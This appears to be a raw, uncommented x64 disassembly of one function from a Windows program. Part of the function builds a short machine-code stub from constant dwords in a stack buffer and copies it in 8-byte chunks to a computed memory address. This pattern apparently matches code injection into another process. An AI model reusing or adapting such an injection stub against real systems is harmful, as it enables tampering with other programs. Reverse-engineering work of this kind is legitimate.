lea rdx, [rsi + 8]
cmp qword [rdx + 0x18], 0xf
jbe 0x14000a61e
mov rdx, qword [rdx]
call fcn.140008f10
lea r12, [rax + 0x1200]
mov r8, r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
lea rbx, [rbp + 0x188]
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], rbx
mov r14, qword [rbx]
mov rax, r14
xor rax, r15
mov qword [rbp + 0x28], rax
mov qword [rbx], r13
test r12, r12
jne 0x14000a660
mov rdx, r13
jmp 0x14000a708
mov qword [rbp - 0x60], r13
mov rdx, r12
mov rcx, rsi
call fcn.140008e20
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
lea rdi, [rbp + 0x188]
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x60], rdi
mov r13, qword [rdi]
mov rax, r13
xor rax, r15
mov qword [rbp + 0x50], rax
xor eax, eax
mov qword [rdi], rax
mov rdx, r12
mov rcx, rsi
call fcn.140008e20
mov qword [rsp + 0x50], rax
lea r8, [rbp - 0x60]
mov rdx, qword [rax + 0x18]
mov rcx, rsi
call fcn.14000a9b0
mov r8, qword [rbp - 0x60]
test r8, r8
jne 0x14000a6f9
lea rax, [rbp + 0x188]
xor ecx, ecx
mov qword [rax], rcx
lea r8, [rbp - 0x60]
mov rdx, qword [rsp + 0x50]
mov rdx, qword [rdx + 0x10]
mov rcx, rsi
call fcn.14000a9b0
nop
mov qword [rdi], r13
mov r8, qword [rbp - 0x60]
mov rdx, qword [rsp + 0x40]
mov rdx, qword [rdx + 0x10]
jmp 0x14000a705
mov qword [rdi], r13
mov rdx, qword [rsp + 0x40]
mov rdx, qword [rdx + 0x18]
xor r13d, r13d
mov qword [rbx], r14
or r8, 2
mov rcx, rsi
call fcn.140009270
mov dword [rbp + 0xd0], 0x2444894c
mov dword [rbp + 0xd4], 0x54894818
mov dword [rbp + 0xd8], 0x89481024
mov dword [rbp + 0xdc], 0x4808244c
mov dword [rbp + 0xe0], 0x4838ec83
mov dword [rbp + 0xe4], 0x4024448b
mov dword [rbp + 0xe8], 0x18408b48
mov dword [rbp + 0xec], 0x24448948
mov dword [rbp + 0xf0], 0x448b4820
mov dword [rbp + 0xf4], 0x8b482024
mov dword [rbp + 0xf8], 0x44894800
mov dword [rbp + 0xfc], 0x8b482824
mov dword [rbp + 0x100], 0x4c202444
mov dword [rbp + 0x104], 0x4820488b
mov dword [rbp + 0x108], 0x2024448b
mov dword [rbp + 0x10c], 0x18408b4c
mov dword [rbp + 0x110], 0x24448b48
mov dword [rbp + 0x114], 0x508b4820
mov dword [rbp + 0x118], 0x448b4810
mov dword [rbp + 0x11c], 0x8b482024
mov dword [rbp + 0x120], 0x54ff0848
mov dword [rbp + 0x124], 0x8b482824
mov dword [rbp + 0x128], 0x4820244c
mov dword [rbp + 0x12c], 0x4828498b
mov dword [rbp + 0x130], 0xc0330189
mov dword [rbp + 0x134], 0x38c48348
mov dword [rbp + 0x138], 0xccccccc3
mov dword [rbp + 0x13c], 0xcccccccc
mov r14d, r13d
lea rdi, [rbp + 0x188]
nop dword [rax]
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], rdi
mov rbx, qword [rdi]
mov rax, rbx
xor rax, r15
mov qword [rbp + 0x28], rax
mov qword [rdi], r13
movsxd rax, r14d
lea r8, [rbp + 0xd0]
add r8, rax
lea rdx, [r12 + rax]
mov rcx, rsi
call fcn.14000ab10
nop
mov qword [rdi], rbx
add r14d, 8
cmp r14d, 0x70
jb 0x14000a840
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
mov rdi, qword [rbp - 0x50]
jbe 0x14000a8cb
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a8c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a8c6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000c244
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x14000a926
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a920
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a920
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000c244
nop
xor r15, qword [rbp - 0x58]
lea rax, [rbp + 0x188]
mov qword [rax], r15
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14000a96a
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x14000a965
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x14000a98e
mov rcx, r8
call fcn.14000c244
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov eax, 1
jmp 0x140009998
xor rbx, r15
mov qword [r14], rbx
jmp 0x14000994d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400011b0
int3
call fcn.140001110
int3